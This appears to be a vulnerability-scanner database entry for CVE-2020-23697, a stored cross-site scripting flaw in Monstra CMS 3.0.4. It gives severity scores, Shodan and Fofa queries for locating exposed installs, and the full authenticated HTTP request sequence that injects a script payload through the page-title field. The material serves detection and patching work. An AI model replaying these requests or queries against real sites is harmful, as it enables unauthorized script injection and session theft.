| Title | Monstra CMS 3.0.4 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.092 |
| CVE ID | CVE-2020-23697 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:419828698 |
| Fofa Query | icon_hash=419828698 |
| Tags | cve cve2020 xss mostra mostracms cms authenticated monstra vuln |
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /admin/index.php?id=dashboard HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
login=gmBdub&password=nllEaK&login_submit=Log+In
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 317
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
csrf=utuDlG&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name=38fsbxl1omnurhxqb0c0utdct0g&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
GET /38fsbxl1omnurhxqb0c0utdct0g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23697.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-23697.pcap
N/AN/A